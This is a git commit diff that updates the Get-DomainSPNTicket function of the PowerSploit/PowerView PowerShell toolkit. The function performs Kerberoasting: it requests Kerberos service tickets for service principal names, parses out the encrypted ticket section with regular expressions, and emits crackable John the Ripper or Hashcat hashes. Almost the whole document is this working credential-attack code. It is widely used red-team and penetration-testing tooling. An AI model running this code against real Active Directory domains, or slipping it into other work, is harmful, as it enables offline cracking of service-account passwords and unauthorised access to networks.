Updated kerberoast source to match powersploit dev branch
parent
c1be55709f
commit
1887889920
|
@ -454,43 +454,73 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49
|
|||
function Get-DomainSPNTicket {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Request the kerberos ticket for a specified service principal name (SPN).
|
||||
|
||||
Author: machosec, Will Schroeder (@harmj0y)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
This function will either take one/more SPN strings, or one/more PowerView.User objects
|
||||
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
|
||||
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
|
||||
portion of the ticket is then extracted and output in either crackable John or Hashcat
|
||||
format (deafult of John).
|
||||
|
||||
.PARAMETER SPN
|
||||
|
||||
Specifies the service principal name to request the ticket for.
|
||||
|
||||
.PARAMETER User
|
||||
|
||||
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
|
||||
|
||||
.PARAMETER OutputFormat
|
||||
|
||||
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
|
||||
Defaults to 'John'.
|
||||
|
||||
.PARAMETER Credential
|
||||
|
||||
A [Management.Automation.PSCredential] object of alternate credentials
|
||||
for connection to the remote domain using Invoke-UserImpersonation.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
|
||||
|
||||
Request a kerberos service ticket for the specified SPN.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
|
||||
|
||||
Request kerberos service tickets for all SPNs passed on the pipeline.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
|
||||
|
||||
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
|
||||
|
||||
.INPUTS
|
||||
|
||||
String
|
||||
|
||||
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
|
||||
|
||||
.INPUTS
|
||||
|
||||
PowerView.User
|
||||
|
||||
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
PowerView.SPNTicket
|
||||
|
||||
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
|
||||
#>
|
||||
|
||||
|
@ -561,39 +591,55 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
$TicketByteStream = $Ticket.GetRequest()
|
||||
}
|
||||
if ($TicketByteStream) {
|
||||
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
|
||||
$encType = [Convert]::ToInt32(($TicketHexStream -replace ".*A0030201")[0..1] -join "", 16)
|
||||
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
|
||||
$Parts.RemoveAt($Parts.Count - 1)
|
||||
$Hash = $Parts -join 'A48201'
|
||||
$Hash = $Hash.Insert(32, '$')
|
||||
|
||||
$Out = New-Object PSObject
|
||||
|
||||
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
|
||||
|
||||
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
|
||||
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
|
||||
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
|
||||
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
|
||||
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
|
||||
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
|
||||
|
||||
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
|
||||
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
|
||||
Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
|
||||
$Hash = $null
|
||||
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
|
||||
} else {
|
||||
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
|
||||
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
|
||||
}
|
||||
} else {
|
||||
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
|
||||
$Hash = $null
|
||||
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
|
||||
}
|
||||
|
||||
if($Hash) {
|
||||
if ($OutputFormat -match 'John') {
|
||||
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
|
||||
}
|
||||
else {
|
||||
if ($DistinguishedName -ne 'UNKNOWN') {
|
||||
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
||||
}
|
||||
else {
|
||||
$UserDomain = 'UNKNOWN'
|
||||
}
|
||||
|
||||
# hashcat output format
|
||||
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
|
||||
}
|
||||
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
||||
}
|
||||
|
||||
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
|
||||
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
|
||||
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
|
||||
|
||||
if ($OutputFormat -match 'John') {
|
||||
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
|
||||
}
|
||||
else {
|
||||
if ($DistinguishedName -ne 'UNKNOWN') {
|
||||
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
||||
}
|
||||
else {
|
||||
$UserDomain = 'UNKNOWN'
|
||||
}
|
||||
# hashcat output format
|
||||
$HashFormat = "`$krb5tgs`$$encType`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
|
||||
|
||||
}
|
||||
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
||||
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
||||
#Prints the PS Object
|
||||
#Write-Output $Out
|
||||
|
||||
#Prints just the hashes
|
||||
Write-Output $HashFormat
|
||||
Write-Output $Out
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -604,6 +650,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Get-DomainUser {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
|
Loading…
Reference in New Issue